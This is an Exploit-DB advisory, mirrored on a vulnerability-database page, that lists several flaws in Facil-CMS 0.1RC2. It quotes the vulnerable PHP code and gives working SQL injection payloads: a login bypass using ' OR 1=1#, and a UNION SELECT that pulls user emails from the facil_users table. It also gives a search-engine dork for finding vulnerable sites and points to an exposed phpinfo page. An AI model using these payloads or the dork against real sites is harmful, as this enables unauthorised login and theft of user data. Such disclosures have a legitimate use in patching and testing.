Lucene search
K

Facil-CMS 0.1RC2 - Multiple Vulnerabilities

🗓️ 18 Mar 2009 00:00:00Reported by any.zickyType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 33 Views

Facil CMS 0.1RC2 - PHPinfo Disclosure, Auth Bypass, SQL Injectio

Code
[Script]
 Facil-CMS 0.1RC2

 +download: http://sourceforge.net/project/platformdownload.php?group_id=217673
 
[DORK]
inurl:modules.php?modload=News
Copyright (C) 2008 by FacilCMS.org
inurl: /facil-cms/

[Author]
any.zicky

[Contact Me]
any__dot__zicky__at__gmail__dot__com ;)

[About]
Facil CMS is a Free and Open Source Project for your site Content Management System (CMS). Facil CMS uses PHP 5 and connect to many database systens. Facil CMS is Easy to create and modify modules for your system and Support Theme Templates.

[Other bug in project]
http://www.milw0rm.com/exploits/5792

[Bugs]
1) we can see phpinfo() in root_path project

+Example: http://localhost/phpinfo.php

2) Auth bypass

let's see login.php code

[CODE]
...

if($_POST['email'] && $_POST['password'])
 {
  ...
  $email = $_POST['email'];
  $password = md5($_POST['password']);
  $user = new Users();
  $login = $user->Login($email, $password); <-------------
  if($login && !is_null($login) && !empty($login))
  {
  $user = new Users($login);
  ...
[/CODE]

then let look /facil-cms/modules/Users/class/Users.mysql.class.php code

[CODE]
...
function Login($email, $password)
  {
  $sql = "SELECT * FROM " . _USERS_DB_TABLE_ . " WHERE email='" . $email . "' AND password='" . $password . "'"; <----------
  $res = $GLOBALS['DB']->Execute($sql) or die($GLOBALS['DB']->ErrorMsg() . '<br />' . $sql);
  if($res->RecordCount() == 1)
  {
  return $res->fields('id');
  }
  }
 ...
  
[/CODE]

+Example: http://locahost/index.php?modload=User

Email: [email protected]'#
pass: blaaaaa

Email: ' OR 1=1#
pass: blaaaaa

3) SQL-INj in News modules

Let look /facil-cms/modules/News/class/News.mysql.class.php code

[CODE]
...
function getNewInfo($id)
  {
  $sql = "SELECT * FROM " . _NEWS_DB_TABLE_ . " WHERE id=" . $id; <----------------
  $res = $GLOBALS['DB']->Execute($sql) or die($GLOBALS['DB']->ErrorMsg() . '<br />' . $sql);
  if($res->RecordCount() == 1)
  {
  $this->setContent($res->fields('content'));
  $this->setDate($res->fields('date'));
  $this->setId($res->fields('id'));
  $this->setLanguage($res->fields('language'));
  $this->setPublisher($res->fields('publisher'));
  $this->setResume($res->fields('resume'));
  $this->setStatus($res->fields('status'));
  $this->setTitle($res->fields('title'));
  return true;
  }
  }
...
[/CODE]

+Example: http://localhost/facil-cms/modules.php?modload=News&op=view&id=1+AND+1=1#

4) SQL-Inj in Pages modules

Let look /facil-cms/modules/Pages/class/Pages.mysql.class.php code
[CODE]
...
function getPageInfo($id)
  {
  $sql = "SELECT * FROM " . _PAGES_DB_TABLE_ . " WHERE id=" . $id; <------------------
  $res = $GLOBALS['DB']->Execute($sql);
  if($res->RecordCount() == 1)
  {
  $this->setActive($res->fields('active'));
  $this->setContent($res->fields('content'));
  $this->setId($res->fields('id'));
  $this->setLanguage($res->fields('language'));
  $this->setTitle($res->fields('title'));
  return true;
  }
  }

...
[/CODE]

+Example: http://localhost/facil-cms/modules.php?modload=Pages&op=view&id=1+ORDER+BY+5/*

5) SQL-inj in ALbums module

Let look /facil-cms/modules/Albums/class/Photos.mysql.class.php code

[CODE]
...
function getPhotoInfo($id)
  {
  $sql = "SELECT * FROM " . _PHOTOS_DB_TABLE_ . " WHERE id=" . $id; <--------------------
  $res = $GLOBALS['DB']->Execute($sql) or die($GLOBALS['DB']->ErrorMsg() . '<br />' . $sql);
  if($res->RecordCount() == 1)
  {
  $this->setId($res->fields('id'));
  $this->setAlbum($res->fields('album'));
  $this->setFile($res->fields('file'));
  $this->setComment($res->fields('comment'));
  return true;
  }
  }
...
[/CODE]

+Example: http://localhost/facil-cms/modules.php?modload=Albums&op=photo&id=-1+UNION+SELECT+1,2,3,email+FROM+facil_users+LIMIT+1,2/*

# milw0rm.com [2009-03-18]

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation